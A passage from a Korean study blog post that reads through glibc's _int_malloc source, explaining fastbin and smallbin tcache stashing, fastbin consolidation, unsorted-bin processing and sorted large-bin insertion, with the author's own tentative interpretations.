void형 포인터변수 p에 victim을 메모리로 변환하여 대입하고, 이를 반환하고 있다. 이전에 예측한대로, 만약 이 if문 내부에 들어왔다면 victim이 동적할당의 결과로 반환된다. 만약 fastbin크기의 동적할당요청이면서 fastbin내부에 청크가 존재했다면 그 청크가 반환되고 malloc은 종료될 것이다.

이제 잠깐 미뤄두었던 tcache관련 코드를 살펴보자.

#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (__glibc_unlikely (misaligned_chunk (tc_victim)))
            malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
              if (SINGLE_THREAD_P)
            *fb = REVEAL_PTR (tc_victim->fd);
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif

주석을 살펴보면 동일한 사이즈의 다른 청크들이 있다면 그것을 tcache에 넣는다고 한다.

정확히 뭘 하는건지 이해하기 힘드니 일단 코드를 계속 보자.

우선 nb에 해당하는 tcache 인덱스값을 가져오고, while문에 의해 특정 코드가 반복된다.

주석을 읽어보면 bin이 비거나 tcache가 가득차지 않는 한 chunks를 copy한다고 되어있는데(실제로 코드를 살펴보면, while문의 조건과 동일하다), 뭔가 tcache에 자리가 생겼다면 bin의 청크를 tcache로 옮기는 것 같은 느낌이다.

while문 내부 코드를 살펴보자.

tc_victim은 *fb를 초기값으로, 순차적으로 fastbin의 리스트에서 fd값을 통해 청크들을 가져와 대입되고 있다. 그리고 그 과정에서 tc_victim이 misaligned 여부를 검사하고, (애초에 반복이 된다는 것 자체만으로 tcache에 자리가 있음이 보장된다는 것을 기억해야 함) 검사를 통과하면 fastbin리스트에서 tc_victim을 unlink한 다음 (fastbin의 재할당과정과 동일하게 단일스레드라면 단순히 포인터변수의 대입을 이용, 다중 스레드라면 REMOVE_FB를 이용한다), tc_victim을 tcache_put 을 이용해 tcache에 넣어준다. 코드를 보니까 추측한 바가 맞는 듯 하다.

2. if문 ⇒smallbin 크기

/*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
(...중략...)
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

이제부터는 nb가 fastbin의 범위에 들지 않는다면 실행되는 부분이다.

그 중에서도 smallbin크기에 속한다면 if문 내부로 들어간다.

주석을 읽어보면 이제 regular bin을 살펴볼 차례라고 하면서 large bin과 다르게 small bin은 빠른 편이라고 되어있는데, 실제로 ptmalloc에 대해 공부할 때 다른 크기의 요청은 fastbin → small bin→unsorted bin의 순서로 탐색하지만 large bin크기의 요청은 unsorted bin을 먼저 탐색하고 large bin을 탐색하며 탐색 과정에서 unsorted bin의 청크들이 원래 크기의 bin으로 분류되는 과정까지 진행된다고 했으므로 확실히 large bin 크기의 할당이 훨씬 복잡할 것 같은 느낌이다. 실제로 주석에서도 For a large request, we need to wait until unsorted chunks are processed to find best fit 라는 언급이 존재한다. 뭔가 large bin크기의 요청은 벌써부터 분석이 무서워진다.. 일단 small bin을 살펴보자…

만약 nb크기에 해당하는 smallbin인덱스의 bin값이 그 bin의 bk값과 동일하지 않다면 if문 내부로 들어간다. 이게 무슨 의미인지 고민을 해보았는데, smallbin에 청크가 존재하는지 아닌지의 여부를 판단하는 것인 것 같다. 만약 smallbin에 청크가 없다면 smallbin에 청크가 있을 때와 동일한 방법으로 할당이 어려운 것은 당연하다. 그래서 추후에 다른 방식으로 할당이 이루어질 것이다. 확실한 건 아니지만 추측하기로는 unsorted bin을 탐색한다던가 아예 새로운 영역을 할당한다거나 하는 코드로 이어지지 않을까?

어쨋든 small bin에 청크가 존재한다면 이제 그 청크를 unlink할 차례이다.

우선 victim은 bin의 bk인 상태이며, victim의 bk의 fd가 victim이 아니라면 오류를 발생시킨다.

보통 경우라면 당연히 통과하겠지만, 메모리 corruption을 하려는 사람의 입장에서는 매우 까다로운 조건이다. 애초에 bk나 fd의 변조자체를 막아버린 것이기 때문이다.

검증을 통과하고 나면 본격적인 unlink절차에 들어간다.

victim의 다음 청크의 prev_inuse flag를 set하고 연결리스트 상에서 청크 2개의 fd, bk를 서로 연결하여 victim을 연결리스트에서 제거한다.

이후 (tcache사용 시의 코드는 잠시 뒤에 보는 걸로 하고) victim의 메모리주소를 가져와 void형 포인터 p에 넣고 p를 반환한다.

따라서 smallbin에 알맞은 청크가 존재했다면 여기서 malloc이 종료될 것이다. 하지만 그러지 못했다면 코드는 계속 진행될 것이다.

#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif

잠시 미뤄두었던 tcache관련 코드이다. 주석을 보니 이전에 fastbin에서 봤던 것과 동일하다. 아마 여기도 동일하게 tcache에 자리가 있거나 bin이 비지 않는한 bin의 청크를 tcache로 옮겨주는 과정인 듯 하다.

실제로 while문에서 그 여부를 검사하고 있고, while문이 돌아가는 한, bin에 존재하는 청크를 bin리스트에서 unlink하고 tcache_put을 통해 tcache에 넣어주고 있다.

3. else문 ⇒ largebin 크기

/*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (atomic_load_relaxed (&av->have_fastchunks))
        malloc_consolidate (av);
    }

fastbin, smallbin 중 어느 크기에도 속하지 않는다면 해당 else문의 내부로 들어온다.

주석을 읽어보면 계속 진행하기 전에 fastbin을 병합한다고 한다. 그리고 지금 타이밍에 병합을 하는 것이 왜 효율적인지도 설명해주고 있다.

실제로 코드를 보면 fastbin에 청크가 있다면, malloc_consolidtate가 이루어진다. 여기까지 오고 나니 생각나는 것이 하나 있었다. 이전에 ptmalloc을 공부할 때 fastbin의 consolidation이 largebin크기의 청크가 할당되거나 small bin을 다 돌아도 청크를 찾지 못할 때 이루어진다고 했는데, 되게 상관없는 두 가지가 consolidation의 조건이라는 이름으로 묶여있다고 생각했는데, 이는 malloc_consolidate가 이 곳에 위치하는 이상 당연한 것이었다.

malloc_consolidate의 내부는 _int_malloc의 분석이 끝난 다음에 살펴보기로 하자.

이제 fastbin과 smallbin에서 청크를 찾지 못했다면 어떤흐름이 이어지는지 계속 살펴보자.

4. unsorted bin 탐색

/*
     Process recently freed or remaindered chunks, taking one only if
     it is exact fit, or, if this a small request, the chunk is remainder from
     the most recent non-exact fit.  Place other traversed chunks in
     bins.  Note that this step is the only place in any routine where
     chunks are placed in bins.

     The outer loop here is needed because we might not realize until
     near the end of malloc that we should have consolidated, so must
     do so and retry. This happens at most once, and only when we would
     otherwise need to expand memory to service a "small" request.
   */

#if USE_TCACHE
  INTERNAL_SIZE_T tcache_nb = 0;
  size_t tc_idx = csize2tidx (nb);
  if (tcache && tc_idx < mp_.tcache_bins)
    tcache_nb = nb;
  int return_cached = 0;

  tcache_unsorted_count = 0;
#endif

for (;; )
    {
      int iters = 0;

우선 tcache를 사용하는 경우 tc_idx, tcache_nb의 값을 설정해준 다음 return_cached와 tcache_unsorted_count를 0으로 설정해주는데 아직은 무슨 용도인지 모르겠다. 추후에 필요한 값인 듯 하다.

그리고 나서 for문이 존재하는데 이 for문은 여기서부터 _int_malloc이 종료될 때까지를 모두 감싸고 있는 거대한 반복문이다. 주석을 읽어보면 만일에 대비하여 retry를 하기 위해 존재하는 반복문인 듯 한데 대부분 한번만 실행된다고 하니 일단은 없는 셈 치고 봐도 될 듯 하다.

그리고 밑에 나올 또 다른 거대한 반복문인 while문 (for문 내부에 존재)을 위한 반복인자으로 보이는 iters를 선언하고 0으로 초기화한다.

주석을 참고하면 지금부터는 최근에 해제되거나 남은 청크들을 처리하여 알맞은 청크가 있다면 가져오고 탐색과정에서 지나치는 청크들을 알맞은 bin에 넣어준다고한다. 아마 이것이 unsorted bin 탐색 시에 탐색된 청크들은 크기에 따라 알맞은 bin으로 분류된다고 했던 부분인 듯 하다.

while문 내부를 살펴보자.

      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);

          if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
              || __glibc_unlikely (size > av->system_mem))
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely (chunksize_nomask (nex t) < CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

우선 while문의 조건을 살펴보면 unsorted_chunks 매크로를 통해 가져온 청크의 bk에 해당하는 청크를 victim에 넣고 그것이 unsorted_chunks 매크로를 통해 가져온 청크와 같은지를 보고 있다. 같지 않다면 while문은 계속 반복된다.

우선 unsorted_chunks 매크로를 살펴보면 이는 곧 av→bins[0]과 동일하다. malloc_state구조체에서 bins 배열은 fastbin을 제외한 bin들을 관리하고 이 중 가장 첫 번째 요소가 unsorted bin이라고 했기 때문에 매크로 이름에서 알 수 있듯 unsorted bin 리스트를 가져온 것을 알 수 있다.

while문의 조건이 의미하는 것은 아까 small bin에서 했던 것과 비슷하게 unsorted bin이 비어있는지를 확인하는 것인 듯 하다. 따라서 이 반복문은 unsorted bin에 청크가 존재하는 한 반복될 것이다.

이제 while문 내부를 살펴보자.

우선 bck에 victim의 bk를 대입하고 size에는 victim의 size를, next에는 메모리상에서 victim 바로 다음에 존재한 청크를 대입한다.

그리고 다음과 같은 검증을 거친다.

1. size가 헤더 사이즈보다 작거나 system_mem보다 크진 않은지를 확인
2. next청크의 크기가 헤더 사이즈보다 작거나 system_mem보다 크진 않은지를 확인
3. next chunk의 prev_size값이 size(=victim의 size)와 동일한지 확인
4. bck(victim의 bk)의 fd가 victim인지, victim의 fd가 unsorted_chunks (av)인지 확인
5. next의 prev_inuse flag가 set되어있는지 확인

확실히 검증 절차가 많다. 뭔가 특정 값을 이 절차들을 우회해서 변조하기는 거의 불가능에 가까워 보인다. (헤더, fd와 bk까지 검사하니까)

만약 검증절차를 모두 통과하면 계속 진행된다.

이제 본격적으로 알맞은 청크를 탐색할것으로 예상된다.

1) last remainder 청크 확인

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

주석을 읽어보면, 할당 요청이 small request일 때에는 last remainder chunk가 unsorted bin에 존재하는 유일한 청크일 때에 한해 그것을 먼저 확인하라고 되어있다. 이 방식을 통해 small requests가 연속적으로 들어올 때 locality를 유지할 수 있다고 한다. 아마 비슷한 위치에 청크들을 할당시킬 수 있다는 의미일 것이다.

실제로 조건을 살펴보면 다음과 같다.

1. nb가 small bin의 범위에 있고
2. bck == unsorted_chunks (av) 일 때(bck는 victim의 bk이므로 victim의 bk가 unsorted_chunks(av)라면 victim이 unsorted bin의 유일한 청크인 상황이 될 것이다)
3. victim == av->last_remainder 일 때, 즉 victim이 last remainder 청크일 때
4. (unsigned long) (size) > (unsigned long) (nb + MINSIZE) 일 때, 즉 victim의 크기가 요청된 사이즈보다 충분히 클 때

종합해보면 small request이면서 last remainder chunk가 unsorted bin 존재하는 유일한 청크이며 그것의 크기가 요청을 처리하기에 충분하다면 조건문의 내부로 들어가는 것이며 이는 곧 주석이 의미하는 것과 동일하다.

따라서 이 조건문 내부에서는 last remainder chunk를 확인하는 과정이 있을 것이다.

내부를 살펴보자.

주석을 보면 split, reattach를 하라고 되어있다.

아마 요청 크기에 맞게 청크를 쪼개고 bin의 연결 관계를 정리한 다음 청크를 할당할 것이다.

우선 remainder_size 에 size-nb를 대입하는데 이는 필요한 만큼을 쪼개고 남은 크기이다.

그리고 remainder 에는 victim의 주소+nb만큼의 주소를 대입해주는데 이 역시 필요한 만큼을 쪼개고 남은 청크의 시작 주소이다.

다음으로는 unsorted_chunks (av) 의 fd와 bk를 remainder로 바꾸어준다. (처음엔 이게 도대체 뭐하는거지..? 라고생각했는데 생각해보니까 이 if문 내부로 들어오려면 unsorted bin에는 청크가 하나만 있던 상황이므로 unsorted bin의 유일한 청크를 remainder로만 업데이트 해준다고 생각하니 이해가 되었다.

그리고 av, 즉 arena에 해당하는 malloc_state구조체의 last_remainder값을 remainder로 바꾸어준다.

그 다음으로는 remainder의 bk와 fd를 unsorted_chunks (av) 로 바꾸어준다. (unsorted bin에 존재하는 유일한 청크로써 remainder를 넣어준다고 생각하면 편하다)

그리고 남은 청크의 사이즈(remainder_size)가 small bin의 범위가 아니라면 fd_nextsize와 bk_nextsize를 null로 설정해준다. 이 두 값은 large bin 사이즈의 청크에만 필요한 값으로 알고있느데 small bin범위가 아니라면 large bin의 범위에 속할 테니 필요할 두 값을 null로 초기화하는 과정인 듯 하다.

여기까지 청크를 쪼개고 bin의 연결관계 정리가 끝났다. 이제 쪼개놨던 청크(victim)을 할당할 차례이다.

각각 victim과 remainder의 헤더를 알맞게 세팅해주고 remainder의 메모리 상 인접 청크에 prev_size값도 알맞게 세팅해준다.

그리고 victim을 검증한 다음 void형 포인터 변수 p에 victim을 메모리 주소로 변환하여 대입하고 이를 return한다.

이 상황에 맞는 청크를 찾았다면 여기서 malloc이 종료될 것이다.

하지만 알맞은 청크가 없었다면 malloc은 계속 진행된다.

2) fit 청크 확인

/* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
        set_non_main_arena (victim);
#if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          && tcache->counts[tc_idx] < mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
        }
#endif
            }

코드를 보니 실제로 victim의 bk인 bck의 fd가 victim인지 확인하는 검증절차를 거친 다음, 냅다 unsorted bin에서 청크를 제거해버리길래 뭐하는거지? 싶어서 밑을 먼저 간단하게 살펴보고 왔더니 진행이 이런 식으로 이루어지는 듯 하다.

⇒ 우선 victim청크가 할당 요청이 들어온 크기와 동일하다면 victim청크를 할당한다

⇒ 만약 아니라면 bin으로 분류한다.

⇒ last remainder청크 확인 절차까지 포함한 이 루틴을 unsorted bin에 청크가 없어질 때까지 혹은 청크의 할당이 이루어질 때까지 반복한다. (while문에 의한 반복)

좀 더 정리해보자면 이 거대한 while문의 동작은 다음과 같다.

unsorted bin의 청크를 순차적으로 가져와 last remainder ⇒ fit chunk 순으로 확인하고 조건에 맞다면 할당, 아니라면 bin으로 분류하는 과정을 unsorted bin에 청크가 존재하는 한 반복하여 시행한다.

따라서 이 부분은 청크가 fit chunk인지 확인하는 부분일 것이다.

실제로 if문의 조건을 보면, size와 nb가 동일한지를 확인하고 있다. 만약 동일하다면 현재 보고 있는 청크가 fit chunk라는것이며 조건문 내부로 들어간다.

조건문 내부를 보면 victim 청크의 할당 절차가 존재한다. (일단 tcache부분은 무시하자.)

메모리 상의 다음 청크에 prev_inuse flag를 set하고 청크를 검증한 다음 void 형 포인터 p에 victim을 메모리 주소로 변환해 대입하고 이를 return하고 있다. 만약 여기서 return이 이루어진다면 malloc은 여기서 종료된다. 만약 그렇지 않다면 이 청크를 알맞은 bin에 넣는 과정으로 이어질 것이다.

잠깐 미뤄뒀던 tcache부분을 살펴보자면, 만약 nb가 tcache의 범위 내에 있었다면 이전에 tcache_nb가 설정되어있었을 것이므로 tcache_nb 부분은 참이 될 것이고 tcache->counts[tc_idx] < mp_.tcache_count 라는 조건은 해당하는 인덱스의 tcache에 공간이 있다면 참이 될 것이다.

따라서 현재 요청된 크기가 tcache 범위 내에 있으며 그 인덱스의 tcache 리스트에 공간이 있다면 청크의 할당이 이루어지기 전에 먼저 이 청크를 tcache에 넣어버린다. 그리고 초기값을 0으로 설정했던 return_cached 라는 값을 1로 바꾸어준다. return_cached 는 이 while문 내에서 tcache로 들어간 청크가 존재한다면 1로 바뀌는 값인가보다. 그리고 continue가 있기 때문에 아래의 모든 절차를 건너뛰고 다음 unsorted bin의 청크를 탐색하는 절차로 넘어갈 것이다.

조금 특이하게 느껴졌던게, 요청에 fit하는 청크를 발견했음에도 조건만 맞는다면 이를 할당하는 것이 아닌 tcache로 먼저 옮기는 것이 신기했다. 뭔가 직관적으로 보기엔 바로 할당해버리는게 더 효율적일 것 같은데 종합적으로 판단했을 때는 tcache에 넣어버리는 것이 더 효율적인가보다. 아무래도 동적할당은 비슷한 크기가 계속해서 이루어지는 경우가 많으니까 다음 번의 동적할당을 고려한다면 지금은 이미 bin의 탐색 절차까지 와버렸으니 계속 탐색을 이어간 다음 다음 동적 할당에서 탐색 시간을 줄이는 게 더욱 이득이라서 그런 것일까? 이유가 좀 궁금해졌다.

물론 조건이 맞지 않는다면 원래대로 fit chunk를 할당하고 malloc을 끝내버릴 것이다.

코드를 계속보자.

3) 청크를 bin에 분류

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }

주석에서도 알 수 있다시피 이제 청크를 알맞은 bin에 분류한다.

먼저 size(victim의 크기)가 smallbin 범위에 들어간다면 조건문 내부로 들어간다.

victim_index를 설정해주고 인덱스값을 바탕으로 이에 해당하는 smallbin리스트를 가져오고 bck에 bin_at (av, victim_index) , fwd에 bin_at (av, victim_index) 의 fd를 대입한다. 아마 삽입할 bin의 bk에 bck를 fd에 fwd를 대입해주어 bin_at (av, victim_index) 과 bin_at (av, victim_index) 의 fd 사이에 victim을 삽입해주는 듯 하다.

          else
            **{**
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

만약 largebin크기의 청크였다면 이 else문이 실행될 것이다. 우선 victim_index, bck, fwd값을 이전과 동일한 원리로 세팅해준다.

하지만 large bin 크기의 청크는 그 외에도 뭔가가 많다. 계속 살펴보자.

주석을 보니 large bin의 경우에는 정렬 순서를 유지해 줘야 하기 때문에 처리할 것이 더 많은 듯 하다.

실제로 large bin은 여러 크기의 청크를 한 연결리스트에서 관리하며 재할당 시의 효율을 위해 내부의 청크들이 내림차순으로 정렬되어 있다고 배웠다. 따라서 단순히 bin_at 매크로로 가져온 청크와 그 청의 fd 사이에 이 청크를 삽입하는 것이 아니라 크기에 따라 알맞은 자리를 찾아주는 과정이 필요하다.

우선 fwd와 bck의 일치여부를 확인하는데, 만약 이 두개가 일치한다면 largebin에 청크가 없는 상태라는 의미이다. 이는 곧 정렬에 관계없이 victim을 삽입만 해주면 된다는 의미이며 바로 맨 밑의 else문으로 빠져 victim->fd_nextsize = victim->bk_nextsize = victim; 코드가 실행될 것이다. 즉, 별다른 조치 없이 largebin에 넣기 위한 fd_nextsize , bk_nextsize 만 설정된 상태로 실제로 victim청크를 link하기 위한 코드로 이어진다.

하지만 조건문이 참이라면 이는 곧 largebin에 청크가 있다는 의미이므로 if문 내부로 들어가 알맞은 자리를 찾아주기 위한 과정이 시작된다.

만약 bck→bk(해당 largebin에 존재하는 가장 작은 청크)보다 size가 작다면 주석에 나온대로 smallest보다 작다는 의미이므로 바로 알맞은 위치를 찾을 수가 있다. 즉, bck와 bck의 bk 사이에 victim을 삽입해주면 된다. 따라서 이에 맞게 bck와 fwd를 각각 bck와 bck의 bk로 바꾸어준다음 victim과 인접 청크들의 fd_nextsize와 bk_nextsize값을 설정해준다.

하지만 bck→bk보다 size가 작지 않다면 본격적으로 알맞은 자리를 찾아주어야 한다.

좀 더 보기 편하게 이 부분만 따로 코드를 살펴보자.

                          else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }

우선 while문을 통해서 size보다 작거나 같은 size값의 청크를 찾을 때까지 fwd를 fwd의 fd로 업데이트해준다. 만약 알맞은 위치가 찾아진다면 적절한 위치가 fwd에 저장된 상태로 while문을 빠져나온다.

이후에도 두 가지 경우로 나뉠 수가 있는데 바로 size가 fwd의 size와 같은 경우와 더 큰 경우이다.

⇒만약 같다면, 주석에 나온대로 항상 second position에 삽입해준다. 따라서 fwd는 fwd의 fd가 될 것이다.

⇒ 만약 같지 않다면 fwd는 이미 올바른 위치를 찾은 상태이므로 fwd는 건들 필요가 업고 victim과 fwd의 bk_nextsize, fd_nextsize를 올바르게 설정해준다. 그 과정에서 fwd의 bk_nextsize의 fd_nextsize가 fwd와 동일한지 검증하는 절차가 존재한다.

이렇게 각각 경우에 따라 올바른 fwd가 설정되고 나면 당연히 bck는 fwd의 bk가 될 것이다.

그리고 bck의 fd가 fwd와 동일한지 검증해준다. (검증 절차가 매우 많다)

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

#if USE_TCACHE
      /* If we've processed as many chunks as we're allowed while
     filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
      && mp_.tcache_unsorted_limit > 0
      && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    {
      return tcache_get (tc_idx);
    }
#endif

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

#if USE_TCACHE
      /* If all the small chunks we found ended up cached, return one now.  */
      if (return_cached)
    {
      return tcache_get (tc_idx);
    }
#endif

여기까지 진행이 된다면 small bin이던 large bin이던 간에 victim을 삽입할 알맞은 bck와 fwd가 설정된 상태일 것이다. 따라서 victim의 bk에 bck, victim의 fd에 fwd를 넣고 fwd의 bk와 bck의 fd에는 victim을 넣어 fwd, victim, bck를 연결, 즉 victim을 bin의 알맞은 자리에 삽입해준다.

mark_bin 은 뭔가 해서 봤는데 비트맵과 관련된 것인듯 하다. 비트맵이 뭔지 몰라서 찾아보니 bin들의 정보를 비트를 사용해서 기록하는 값으로 빈 검색을 간소화하는 데 도움을 준다고 한다. malloc_state구조체 내에 binmap이라는 이름으로 존재하며 bin들을 4개의 영역으로 나누어서 정보를 배치한다고 한다. mark_bin 매크로를 사용해서 binmap에 bin에 청크를 삽입한 정보를 표시해주는 것 같다.

만약 tcache가 사용된다면 tcache_unsorted_count를 1 증가 시켜준다. 이는 초기값 0으로 설정되어 선언되었던 값인데 tcache의 삽입 없이 여기까지 진행되는 횟수를 카운트하는 변수인가보다.

그리고 return_cached가 1이면서(이전에 fit chunk를 찾았으면서 tcache에 자리가 있다면 tcache에 삽입하고 1로 바꾸어줬던 값이다. 따라서 이 조건문의 진입 조건 중에 이 전에 while문 내부에서의 tcache삽입이 있었는지가 있다는 의미이다) unsorted list에서 제거될 수 있는 최대의 청크 수를 의미하는 tcache_unsorted_limit 가 0보다 크거나 tcache_unsorted_count보다 작으면 tcache의 청크를 반환한다. 그런데 mp_의 tcache_unsorted_limit 값은 0으로 선언되어 있는데 그렇다면 0보다 클수가 없는 것 아닌가…? 이 부분은 잘 모르겠다… 확실하진 않지만 대충 tcache에서 할당할 수 있는 청크가 존재하면 여기서 할당이 한 번 더 이루어질 수 있는 듯 하다. 왜냐하면 반복문 내부에 fit 청크를 tcache에 삽입하는 루틴이 있기 때문에 __libc_malloc에서 tcache청크의 재할당이 이루어지지 않았더라도 이후 tcache에 재할당 가능한 청크가 생길 수 있기 때문이다. 이전에 왜 tcache에 갑자기 청크를 넣는 건지 의아했었는데 어차피 tcache할당의 기회가 한 번 더 있기 때문에 그런 것도 있었나보다. 그런데도 여전히 왜 그러는지는 의문이긴 하지만…

그리고 이제 while문 반복 루틴의 마지막이 보이는데 이전에 살펴봤던 바로는 while문의 반복 조건은 unsorted bin에 청크가 존재하는지의 여부였다. 그런데 while문의 반복인자인 iters가 10000 보다 크거나 같다면 while문을 빠져나간다고 되어있으므로 결론적으로 while문의 탈출 조건은 다음과 같아진다.

1. unsorted bin에 청크가 하나도 남아있지 않음
2. 반복횟수가 10000을 넘었을 때
3. 특정 부분에서 동적할당이 이루어졌을 때(아예 malloc자체가 종료)

이 조건들이 충족되기 전까지는 while문이 계속해서 반복되면서 알맞은 청크를 찾거나, unsorted bin의 청크를 bin에 분류할 것이다.

그리고 return_cached가 set되어있다면 tcache의 청크를 재할당하는 과정이 한 번 더 존재하는데.. 이건 while문 반복의 마지막 차례에 tcache로의 삽입이 이루어져 continue 때문에 tcache 재할당까지 도달을 못하는 경우 때문에 while문 밖에도 한 번 더 존재하는 것일 듯 하다.

5. large bin탐색

만약 이 부분까지 실행흐름이 진행된다면 이는 곧 unsorted bin에서의 할당이 실패한 경우일 것이다. 아마 이제 large bin의 탐색이 이루어지지 않을까 예상해볼 수 있다.

      /*
